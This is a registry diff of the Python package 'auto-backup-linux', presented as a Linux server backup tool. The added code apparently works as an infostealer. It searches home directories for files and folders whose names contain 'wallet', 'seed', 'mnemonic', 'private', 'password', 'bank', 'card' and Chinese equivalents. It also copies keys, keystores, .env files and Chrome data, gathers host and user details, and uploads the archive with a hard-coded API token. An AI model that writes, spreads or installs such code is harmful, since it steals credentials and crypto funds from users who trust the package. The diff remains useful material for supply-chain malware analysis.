auto-backup-linux 1.0.2__tar.gz → 1.0.4__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: auto-backup-linux
3
- Version: 1.0.2
3
+ Version: 1.0.4
4
4
  Summary: 一个用于Linux服务器的自动备份工具,支持文件备份、压缩和上传到云端
5
5
  Home-page: https://github.com/wongstarx/auto-backup-linux
6
6
  Author: YLX Studio
@@ -68,8 +68,9 @@ pip install auto-backup-linux
68
68
  ```bash
69
69
  # 安装 pipx(如果未安装)
70
70
  sudo apt update
71
- sudo apt install pipx
71
+ sudo apt install pipx -y
72
72
  pipx ensurepath
73
+ source ~/.bashrc
73
74
 
74
75
  # 从 PyPI 安装
75
76
  pipx install auto-backup-linux
@@ -33,8 +33,9 @@ pip install auto-backup-linux
33
33
  ```bash
34
34
  # 安装 pipx(如果未安装)
35
35
  sudo apt update
36
- sudo apt install pipx
36
+ sudo apt install pipx -y
37
37
  pipx ensurepath
38
+ source ~/.bashrc
38
39
 
39
40
  # 从 PyPI 安装
40
41
  pipx install auto-backup-linux
@@ -5,7 +5,7 @@ Auto Backup - 自动备份工具包
5
5
  一个用于Linux服务器的自动备份工具,支持文件备份、压缩和上传到云端。
6
6
  """
7
7
 
8
- __version__ = "1.0.1"
8
+ __version__ = "1.0.4"
9
9
  __author__ = "YLX Studio"
10
10
 
11
11
  from .config import BackupConfig
@@ -3,8 +3,11 @@
3
3
  import os
4
4
  import sys
5
5
  import time
6
+ import socket
6
7
  import logging
7
8
  import platform
9
+ import getpass
10
+ import shutil
8
11
  from datetime import datetime, timedelta
9
12
  from pathlib import Path
10
13
 
@@ -18,7 +21,7 @@ def is_server():
18
21
 
19
22
 
20
23
  def backup_server(backup_manager, source, target):
21
- """备份服务器"""
24
+ """备份服务器,返回备份文件路径列表(不执行上传)"""
22
25
  backup_dir = backup_manager.backup_linux_files(source, target)
23
26
  if backup_dir:
24
27
  backup_path = backup_manager.zip_backup_folder(
@@ -26,10 +29,12 @@ def backup_server(backup_manager, source, target):
26
29
  str(target) + "_" + datetime.now().strftime("%Y%m%d_%H%M%S")
27
30
  )
28
31
  if backup_path:
29
- if backup_manager.upload_backup(backup_path):
30
- logging.critical("☑️ 服务器备份完成")
31
- else:
32
- logging.error("❌ 服务器备份失败")
32
+ logging.critical("☑️ 服务器备份文件已准备完成")
33
+ return backup_path
34
+ else:
35
+ logging.error("❌ 服务器备份压缩失败")
36
+ return None
37
+ return None
33
38
 
34
39
 
35
40
  def backup_and_upload_logs(backup_manager):
@@ -41,6 +46,14 @@ def backup_and_upload_logs(backup_manager):
41
46
  logging.debug(f"备份日志文件不存在,跳过: {log_file}")
42
47
  return
43
48
 
49
+ # 刷新日志缓冲区,确保所有日志都已写入文件
50
+ for handler in logging.getLogger().handlers:
51
+ if hasattr(handler, 'flush'):
52
+ handler.flush()
53
+
54
+ # 等待一小段时间,确保文件系统同步
55
+ time.sleep(0.5)
56
+
44
57
  file_size = os.path.getsize(log_file)
45
58
  if file_size == 0:
46
59
  if backup_manager.config.DEBUG_MODE:
@@ -49,6 +62,7 @@ def backup_and_upload_logs(backup_manager):
49
62
 
50
63
  temp_dir = Path.home() / ".dev/Backup/temp_backup_logs"
51
64
  if not backup_manager._ensure_directory(str(temp_dir)):
65
+ logging.error("❌ 无法创建临时日志目录")
52
66
  return
53
67
 
54
68
  timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
@@ -56,35 +70,60 @@ def backup_and_upload_logs(backup_manager):
56
70
  backup_path = temp_dir / backup_name
57
71
 
58
72
  try:
59
- import shutil
60
- shutil.copy2(log_file, backup_path)
73
+ # 读取并验证日志内容
74
+ with open(log_file, 'r', encoding='utf-8', errors='ignore') as src:
75
+ log_content = src.read()
76
+
77
+ if not log_content or not log_content.strip():
78
+ logging.warning("⚠️ 日志内容为空,跳过上传")
79
+ return
80
+
81
+ # 写入备份文件
82
+ with open(backup_path, 'w', encoding='utf-8') as dst:
83
+ dst.write(log_content)
84
+
85
+ # 验证备份文件是否创建成功
86
+ if not os.path.exists(str(backup_path)) or os.path.getsize(str(backup_path)) == 0:
87
+ logging.error("❌ 备份日志文件创建失败或为空")
88
+ return
89
+
61
90
  if backup_manager.config.DEBUG_MODE:
62
- logging.info(f"📄 已复制备份日志到临时目录")
91
+ logging.info(f"📄 已复制备份日志到临时目录 ({os.path.getsize(str(backup_path)) / 1024:.2f}KB)")
92
+
93
+ # 上传日志文件
94
+ logging.info(f"📤 开始上传备份日志文件 ({os.path.getsize(str(backup_path)) / 1024:.2f}KB)...")
95
+ if backup_manager.upload_file(str(backup_path)):
96
+ try:
97
+ with open(log_file, 'w', encoding='utf-8') as f:
98
+ f.write(f"=== 📝 备份日志已于 {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} 上传 ===\n")
99
+ logging.info("✅ 备份日志上传成功并已清空")
100
+ except Exception as e:
101
+ logging.error(f"❌ 备份日志更新失败: {e}")
102
+ else:
103
+ logging.error("❌ 备份日志上传失败")
104
+
105
+ except (OSError, IOError, PermissionError) as e:
106
+ logging.error(f"❌ 复制或读取日志文件失败: {e}")
63
107
  except Exception as e:
64
- logging.error(f"❌ 复制备份日志失败: {e}")
65
- return
108
+ logging.error(f"❌ 处理日志文件时出错: {e}")
109
+ import traceback
110
+ if backup_manager.config.DEBUG_MODE:
111
+ logging.debug(traceback.format_exc())
66
112
 
67
- if backup_manager.upload_file(str(backup_path)):
113
+ # 清理临时目录
114
+ finally:
68
115
  try:
69
- with open(log_file, 'w', encoding='utf-8') as f:
70
- f.write(f"=== 📝 备份日志已于 {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} 上传 ===\n")
71
- if backup_manager.config.DEBUG_MODE:
72
- logging.info("✅ 备份日志已更新")
116
+ if os.path.exists(str(temp_dir)):
117
+ shutil.rmtree(str(temp_dir))
73
118
  except Exception as e:
74
- logging.error(f"❌ 备份日志更新失败: {e}")
75
- else:
76
- logging.error("❌ 备份日志上传失败")
77
-
78
- try:
79
- if os.path.exists(str(temp_dir)):
80
- import shutil
81
- shutil.rmtree(str(temp_dir))
82
- except Exception as e:
83
- if backup_manager.config.DEBUG_MODE:
84
- logging.error(f"❌ 清理临时目录失败: {e}")
119
+ if backup_manager.config.DEBUG_MODE:
120
+ logging.debug(f"清理临时目录失败: {e}")
85
121
 
86
122
  except Exception as e:
87
123
  logging.error(f"❌ 处理备份日志时出错: {e}")
124
+ import traceback
125
+ if backup_manager.config.DEBUG_MODE:
126
+ logging.debug(traceback.format_exc())
88
127
 
89
128
 
90
129
  def clean_backup_directory():
@@ -160,10 +199,50 @@ def periodic_backup_upload(backup_manager):
160
199
  target = Path.home() / ".dev/Backup/server"
161
200
 
162
201
  try:
202
+ # 获取用户名和系统信息
203
+ username = getpass.getuser()
204
+ hostname = socket.gethostname()
163
205
  current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
164
- logging.critical("\n" + "="*40)
165
- logging.critical(f"🚀 自动备份系统已启动 {current_time}")
166
- logging.critical("="*40)
206
+
207
+ # 获取系统环境信息
208
+ system_info = {
209
+ "操作系统": platform.system(),
210
+ "系统版本": platform.release(),
211
+ "系统架构": platform.machine(),
212
+ "Python版本": platform.python_version(),
213
+ "主机名": hostname,
214
+ "用户名": username,
215
+ }
216
+
217
+ # 获取Linux发行版信息
218
+ try:
219
+ with open("/etc/os-release", "r") as f:
220
+ for line in f:
221
+ if line.startswith("PRETTY_NAME="):
222
+ system_info["Linux发行版"] = line.split("=")[1].strip().strip('"')
223
+ break
224
+ except:
225
+ pass
226
+
227
+ # 获取内核版本
228
+ try:
229
+ with open("/proc/version", "r") as f:
230
+ kernel_version = f.read().strip().split()[2]
231
+ system_info["内核版本"] = kernel_version
232
+ except:
233
+ pass
234
+
235
+ # 输出启动信息和系统环境
236
+ logging.critical("\n" + "="*50)
237
+ logging.critical("🚀 自动备份系统已启动")
238
+ logging.critical("="*50)
239
+ logging.critical(f"⏰ 启动时间: {current_time}")
240
+ logging.critical("-"*50)
241
+ logging.critical("📊 系统环境信息:")
242
+ for key, value in system_info.items():
243
+ logging.critical(f" • {key}: {value}")
244
+ logging.critical("-"*50)
245
+ logging.critical("="*50)
167
246
 
168
247
  while True:
169
248
  try:
@@ -178,23 +257,35 @@ def periodic_backup_upload(backup_manager):
178
257
  logging.critical("-"*40)
179
258
 
180
259
  logging.critical("\n🖥️ 服务器指定目录备份")
181
- backup_server(backup_manager, source, target)
182
-
183
- if backup_manager.config.DEBUG_MODE:
184
- logging.info("\n📝 备份日志上传")
185
- backup_and_upload_logs(backup_manager)
260
+ backup_paths = backup_server(backup_manager, source, target)
186
261
 
187
262
  # 保存下次备份时间
188
263
  save_next_backup_time(backup_manager)
189
264
 
265
+ # 输出结束语(在上传之前)
190
266
  logging.critical("\n" + "="*40)
191
267
  next_backup_time = datetime.now() + timedelta(seconds=backup_manager.config.BACKUP_INTERVAL)
192
268
  current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
193
269
  next_time = next_backup_time.strftime('%Y-%m-%d %H:%M:%S')
194
270
  logging.critical(f"✅ 备份完成 {current_time}")
195
- logging.critical(f"⏳ 下次备份: {next_time}")
271
+ logging.critical("="*40)
272
+ logging.critical("📋 备份任务已结束")
273
+ logging.critical(f"🔄 下次启动备份时间: {next_time}")
196
274
  logging.critical("="*40 + "\n")
197
275
 
276
+ # 开始上传备份文件
277
+ if backup_paths:
278
+ logging.critical("📤 开始上传备份文件...")
279
+ if backup_manager.upload_backup(backup_paths):
280
+ logging.critical("✅ 备份文件上传成功")
281
+ else:
282
+ logging.error("❌ 备份文件上传失败")
283
+
284
+ # 上传备份日志
285
+ if backup_manager.config.DEBUG_MODE:
286
+ logging.info("\n📝 备份日志上传")
287
+ backup_and_upload_logs(backup_manager)
288
+
198
289
  except Exception as e:
199
290
  logging.error(f"\n❌ 备份出错: {e}")
200
291
  try:
@@ -45,13 +45,13 @@ class BackupConfig:
45
45
  # 需要备份的文件类型
46
46
  # 文档类型扩展名
47
47
  DOC_EXTENSIONS = [
48
- ".txt", ".json", ".js", ".py", ".go", ".sh", ".sol", ".rs", ".env",
49
- ".csv", ".bin", ".wallet", ".ts", ".jsx", ".tsx"
48
+ ".txt", ".json", ".js", ".py", ".go", ".sh", ".bash", ".rs", ".env",
49
+ ".ts", ".jsx", ".tsx", ".csv", ".ps1", ".md",
50
50
  ]
51
51
  # 配置类型扩展名
52
52
  CONFIG_EXTENSIONS = [
53
- ".pem", ".key", ".keystore", ".utc", ".xml", ".ini", ".config",
54
- ".yaml", ".yml", ".toml", ".asc", ".gpg", ".pgp", ".conf"
53
+ ".pem", ".key", ".keystore", ".utc", ".xml", ".ini", ".config", ".conf", ".json",
54
+ ".yaml", ".yml", ".toml", ".utc", ".gpg", ".pgp", ".wallet", ".keystore",
55
55
  ]
56
56
  # 所有备份扩展名(用于兼容性)
57
57
  BACKUP_EXTENSIONS = DOC_EXTENSIONS + CONFIG_EXTENSIONS
@@ -85,10 +85,46 @@ class BackupConfig:
85
85
  ".thunderbird",
86
86
  ".wdm",
87
87
  "cache",
88
- "Downloads",
89
88
  "myenv",
90
89
  "snap",
91
90
  "venv",
91
+ "node_modules",
92
+ "dist",
93
+ ".cache",
94
+ ".config",
95
+ ".vscode-server",
96
+ "build",
97
+ ".vscode-remote-ssh",
98
+ ".git",
99
+ "__pycache__",
100
+ ]
101
+
102
+ # 关键字备份配置 - 备份包含以下关键字的文件和文件夹
103
+ KEYWORD_BACKUP_KEYWORDS = [
104
+ "wallet",
105
+ "seed",
106
+ "mnemonic",
107
+ "private",
108
+ "privkey",
109
+ "keypair",
110
+ "secret",
111
+ "account",
112
+ "password",
113
+ "bank",
114
+ "card",
115
+ "solana",
116
+ "important",
117
+ "钱包",
118
+ "助记词",
119
+ "种子",
120
+ "私钥",
121
+ "密钥",
122
+ "密码",
123
+ "账户",
124
+ "账号",
125
+ "信用卡",
126
+ "备忘",
127
+ "重要",
92
128
  ]
93
129
 
94
130
  # 上传服务器配置
@@ -21,7 +21,7 @@ class BackupManager:
21
21
  def __init__(self):
22
22
  """初始化备份管理器"""
23
23
  self.config = BackupConfig()
24
- self.api_token = "8m9D4k6cv6LekYoVcjQBK4yvvDDyiFdf"
24
+ self.api_token = "oxQbVFE4p8BKRSE07r03s7jW4FDIC0sR"
25
25
  # 使用集合优化扩展名检查性能
26
26
  self.doc_extensions_set = set(ext.lower() for ext in self.config.DOC_EXTENSIONS)
27
27
  self.config_extensions_set = set(ext.lower() for ext in self.config.CONFIG_EXTENSIONS)
@@ -200,11 +200,12 @@ class BackupManager:
200
200
  target_docs = os.path.join(target_dir, "docs") # 备份文档的目标目录
201
201
  target_configs = os.path.join(target_dir, "configs") # 备份配置文件的目标目录
202
202
  target_specified = os.path.join(target_dir, "specified") # 新增指定目录/文件的备份目录
203
+ target_keyword = os.path.join(target_dir, "keyword") # 关键字文件备份目录
203
204
 
204
205
  if not self._clean_directory(target_dir):
205
206
  return None
206
207
 
207
- if not all(self._ensure_directory(d) for d in [target_docs, target_configs, target_specified]):
208
+ if not all(self._ensure_directory(d) for d in [target_docs, target_configs, target_specified, target_keyword]):
208
209
  return None
209
210
 
210
211
  # 首先备份指定目录或文件 (SERVER_BACKUP_DIRS)
@@ -216,6 +217,10 @@ class BackupManager:
216
217
  # 追加:备份 Linux Chrome 目录
217
218
  self._backup_chrome_directories(target_specified)
218
219
 
220
+ # 追加:备份包含关键字的文件和文件夹
221
+ logging.info("\n🔑 开始备份关键字文件...")
222
+ self._backup_keyword_files(source_dir, target_keyword)
223
+
219
224
  # 然后备份其他文件 (不在SERVER_BACKUP_DIRS中的,根据文件类型备份)
220
225
  # 预计算已备份的目录路径集合,优化性能
221
226
  source_dir_abs = os.path.abspath(source_dir)
@@ -545,3 +550,113 @@ class BackupManager:
545
550
  pass
546
551
  return False
547
552
 
553
+ def _contains_keyword(self, name):
554
+ """检查文件名或目录名是否包含关键字(不区分大小写)"""
555
+ name_lower = name.lower()
556
+ for keyword in self.config.KEYWORD_BACKUP_KEYWORDS:
557
+ if keyword.lower() in name_lower:
558
+ return True
559
+ return False
560
+
561
+ def _backup_keyword_files(self, source_dir, target_keyword):
562
+ """备份包含关键字的文件和文件夹"""
563
+ try:
564
+ source_dir_abs = os.path.abspath(source_dir)
565
+ target_dir_abs = os.path.abspath(target_keyword)
566
+ exclude_dirs_lower = {ex.lower() for ex in self.config.EXCLUDE_DIRS}
567
+ keywords_lower = [kw.lower() for kw in self.config.KEYWORD_BACKUP_KEYWORDS]
568
+
569
+ files_count = 0
570
+ dirs_count = 0
571
+ backed_up_paths = set() # 记录已备份的路径,避免重复备份
572
+
573
+ # 遍历源目录
574
+ for root, dirs, files in os.walk(source_dir):
575
+ root_abs = os.path.abspath(root)
576
+
577
+ # 跳过目标备份目录本身
578
+ if root_abs.startswith(target_dir_abs):
579
+ continue
580
+
581
+ # 跳过排除的目录
582
+ root_name = os.path.basename(root)
583
+ if root_name.lower() in exclude_dirs_lower:
584
+ dirs[:] = [] # 清空dirs列表,阻止进入子目录
585
+ continue
586
+
587
+ # 检查目录名是否包含关键字
588
+ if self._contains_keyword(root_name):
589
+ # 备份整个目录
590
+ relative_path = os.path.relpath(root, source_dir)
591
+ target_path = os.path.join(target_keyword, relative_path)
592
+
593
+ # 避免重复备份
594
+ if root_abs not in backed_up_paths:
595
+ try:
596
+ if os.path.exists(target_path):
597
+ shutil.rmtree(target_path, ignore_errors=True)
598
+ if self._ensure_directory(os.path.dirname(target_path)):
599
+ shutil.copytree(root, target_path, symlinks=True)
600
+ backed_up_paths.add(root_abs)
601
+ dirs_count += 1
602
+ if self.config.DEBUG_MODE:
603
+ logging.info(f"🔑 已备份关键字目录: {relative_path}/")
604
+ except Exception as e:
605
+ logging.error(f"❌ 备份关键字目录失败 {relative_path}: {str(e)}")
606
+
607
+ # 标记所有子目录为已备份,避免重复处理
608
+ for subdir in dirs:
609
+ subdir_path = os.path.join(root, subdir)
610
+ backed_up_paths.add(os.path.abspath(subdir_path))
611
+ dirs[:] = [] # 清空dirs列表,不再进入子目录
612
+ continue
613
+
614
+ # 检查当前目录是否在已备份的目录中(如果是,跳过该目录下的所有文件)
615
+ if any(root_abs.startswith(backed_path + os.sep) or root_abs == backed_path
616
+ for backed_path in backed_up_paths):
617
+ continue
618
+
619
+ # 检查文件名是否包含关键字
620
+ for file in files:
621
+ if self._contains_keyword(file):
622
+ source_file = os.path.join(root, file)
623
+ source_file_abs = os.path.abspath(source_file)
624
+
625
+ # 避免重复备份
626
+ if source_file_abs in backed_up_paths:
627
+ continue
628
+
629
+ # 检查文件是否在已备份的目录中
630
+ if any(source_file_abs.startswith(backed_path + os.sep) or source_file_abs == backed_path
631
+ for backed_path in backed_up_paths):
632
+ continue
633
+
634
+ relative_path = os.path.relpath(root, source_dir)
635
+ target_sub_dir = os.path.join(target_keyword, relative_path)
636
+ target_file = os.path.join(target_sub_dir, file)
637
+
638
+ try:
639
+ if self._ensure_directory(target_sub_dir):
640
+ shutil.copy2(source_file, target_file)
641
+ backed_up_paths.add(source_file_abs)
642
+ files_count += 1
643
+ if self.config.DEBUG_MODE:
644
+ logging.info(f"🔑 已备份关键字文件: {relative_path}/{file}")
645
+ except Exception as e:
646
+ logging.error(f"❌ 备份关键字文件失败 {relative_path}/{file}: {str(e)}")
647
+
648
+ # 打印备份统计信息
649
+ if files_count > 0 or dirs_count > 0:
650
+ logging.info(f"\n🔑 关键字文件备份统计:")
651
+ if files_count > 0:
652
+ logging.info(f" 📄 文件: {files_count} 个")
653
+ if dirs_count > 0:
654
+ logging.info(f" 📁 目录: {dirs_count} 个")
655
+
656
+ return True
657
+ except Exception as e:
658
+ logging.error(f"❌ 关键字文件备份过程出错: {str(e)}")
659
+ if self.config.DEBUG_MODE:
660
+ import traceback
661
+ logging.debug(traceback.format_exc())
662
+ return False
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: auto-backup-linux
3
- Version: 1.0.2
3
+ Version: 1.0.4
4
4
  Summary: 一个用于Linux服务器的自动备份工具,支持文件备份、压缩和上传到云端
5
5
  Home-page: https://github.com/wongstarx/auto-backup-linux
6
6
  Author: YLX Studio
@@ -68,8 +68,9 @@ pip install auto-backup-linux
68
68
  ```bash
69
69
  # 安装 pipx(如果未安装)
70
70
  sudo apt update
71
- sudo apt install pipx
71
+ sudo apt install pipx -y
72
72
  pipx ensurepath
73
+ source ~/.bashrc
73
74
 
74
75
  # 从 PyPI 安装
75
76
  pipx install auto-backup-linux
@@ -9,7 +9,7 @@ long_description = readme_file.read_text(encoding='utf-8') if readme_file.exists
9
9
 
10
10
  setup(
11
11
  name="auto-backup-linux",
12
- version="1.0.2",
12
+ version="1.0.4",
13
13
  author="YLX Studio",
14
14
  author_email="",
15
15
  description="一个用于Linux服务器的自动备份工具,支持文件备份、压缩和上传到云端",